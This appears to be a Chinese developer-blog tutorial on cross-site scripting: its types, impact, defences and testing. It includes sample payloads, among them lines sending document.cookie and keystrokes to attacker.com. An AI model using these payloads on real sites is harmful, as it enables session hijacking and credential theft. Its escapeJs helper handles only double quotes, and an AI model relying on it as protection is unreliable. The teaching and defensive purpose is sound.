xss漏洞

1. XSS漏洞概述

XSS(Cross-Site Scripting,跨站脚本攻击)​​ 是一种安全漏洞,攻击者通过向网页注入恶意脚本(通常是JavaScript),使得这些脚本在受害者的浏览器中执行。XSS漏洞通常发生在Web应用程序未对用户输入进行适当过滤和转义的情况下。

1.1 XSS漏洞的核心特点

  • 攻击方式:攻击者注入恶意脚本,受害者浏览器执行。
  • 利用点:Web应用程序未正确过滤用户输入。
  • 影响范围:可窃取用户Cookie、会话令牌,篡改网页内容,甚至控制用户浏览器。

2. XSS漏洞分类

XSS漏洞主要分为三类:​反射型XSS、存储型XSS、DOM型XSS

2.1 反射型XSS(Reflected XSS)​

  • 特点
    • 恶意脚本来自当前HTTP请求(如URL参数)。
    • 不会存储在服务器上,仅影响点击恶意链接的用户。
  • 攻击流程
    1. 攻击者构造恶意URL,如:

      复制代码

      复制

      复制代码
      http://example.com/search?q=<script>alert('XSS')</script>
    2. 诱骗用户点击该URL(如通过钓鱼邮件、社交工程)。

    3. 服务器返回包含恶意脚本的页面,用户浏览器执行该脚本。

  • 典型场景
    • 搜索框、错误消息、URL参数等未过滤的输入点。

2.2 存储型XSS(Stored XSS / Persistent XSS)​

  • 特点
    • 恶意脚本存储在服务器(如数据库、文件、缓存)。
    • 所有访问受影响页面的用户都会执行该脚本。
  • 攻击流程
    1. 攻击者提交恶意内容(如评论、留言

      复制代码
      <script>alert('XSS')</script>
    2. 服务器存储该内容并返回给其他用户。

    3. 受害者访问该页面时,恶意脚本自动执行。

  • 典型场景
    • 论坛评论、用户资料、博客文章等可存储用户输入的地方。

2.3 DOM型XSS(DOM-based XSS)​

  • 特点
    • 完全在客户端执行,不涉及服务器。
    • 由于JavaScript动态修改DOM导致的安全问题。
  • 攻击流程
    1. 攻击者构造特殊URL,如:

      复制代码

      复制

      复制代码
      http://example.com/#<script>alert('XSS')</script>
    2. 用户访问该URL,前端JavaScript解析URL并写入Dom

      复制代码
      document.write(location.hash.substring(1));
    3. 恶意脚本被执行。

  • 典型场景
    • 使用location.hashdocument.writeinnerHTML等动态操作DOM的代码。

3. XSS攻击的危害

XSS漏洞可导致多种严重安全问题:

3.1 窃取用户数据

  • 盗取Cookie :攻击者可窃取用户的会话Cookie,劫持账户。

    复制代码
    document.location='http://attacker.com/steal?cookie='+document.cookie;
  • 获取表单数据 :监听oninput事件窃取密码。

  • 读取本地存储 :访问localStoragesessionStorage

3.2 会话劫持

  • 冒充用户执行操作(如转账、修改资料)。
  • 利用XMLHttpRequestfetch发送恶意请求。

3.3 网页篡改

  • 修改页面内容(如插入虚假登录框)。

  • 重定向到恶意网站:

    复制代码
    window.location.href = "http://phishing-site.com";

3.4 键盘记录

  • 监听onkeypress事件记录用户

    复制代码
    document.onkeypress = function(e) { 
      fetch('http://attacker.com/log?key=' + e.key);
    };

3.5 传播蠕虫

  • 自动转发恶意链接(如社交网络XSS蠕虫)。

4. XSS防御措施

4.1 输入过滤与转义

复制代码
function escapeHtml(text) {
  return text
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}
  • JavaScript转义

    复制代码
    function escapeJs(text) {
      return text.replace(/"/g, '\\"');
    }

4.2 输出编码

  • 前端框架自动转义
    • React:默认转义{userInput}
    • Vue.js:v-text自动转义,v-html需谨慎使用。

4.3 使用Content Security Policy (CSP)​

  • 限制脚本来源:

    复制代码
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

4.4 HttpOnly Cookie

  • 防止JavaScript访问

    复制代码
    Set-Cookie: sessionId=123; HttpOnly; Secure

4.5 避免危险的DOM操作

  • 避免使用innerHTMLdocument.write,改用textContent

    复制代码
    element.textContent = userInput; // 安全
    element.innerHTML = userInput;  // 危险

5. 测试与检测XSS漏洞

5.1 手动测试

  • 尝试注入基本Payload:

    复制代码
    <script>alert(1)</script>
    <img src=x onerror=alert(1)>
  • 检查是否被转义:

    复制代码
    &lt;script&gt;alert(1)&lt;/script&gt; <!-- 已转义 -->

5.2 自动化工具

  • Burp Suite:扫描XSS漏洞。
  • OWASP ZAP:自动化安全测试。
  • XSS Hunter:检测存储型XSS。

6. 总结

类型 存储位置 触发方式 防御措施
反射型XSS URL参数 用户点击恶意链接 输入过滤、输出编码
存储型XSS 数据库 访问受感染页面 严格输入验证、CSP
DOM型XSS 前端JS 动态DOM操作 避免innerHTMLeval
相关推荐
JarvanMo20 分钟前
像Google那样编写Flutter代码——第二弹
前端
玲小珑23 分钟前
Next.js 教程系列(十八)国际化 (i18n) 与多语言支持
前端·next.js
江城开朗的豌豆25 分钟前
Token过期怎么办?6年老前端教你自动续期的骚操作!
前端·javascript·vue.js
Maybyy25 分钟前
Axios 响应拦截器
前端
三布布布29 分钟前
JS进阶学习
前端·javascript·学习
独立开阀者_FwtCoder31 分钟前
Vue3 生态中,真正对标 UMI 的 企业级 框架!
前端·javascript·github
江城开朗的豌豆32 分钟前
手撕vue底层响应式原理!
前端·javascript·vue.js
江城开朗的豌豆36 分钟前
为什么Vue用虚拟DOM反而更快?6年老前端带你揭秘!
前端·javascript·vue.js
web守墓人39 分钟前
【前端】ikun-pptx编辑器前瞻问题三: pptx的图片如何提取,并在前端渲染。
前端
前端小巷子1 小时前
前端工程化——Webpack
前端·javascript·面试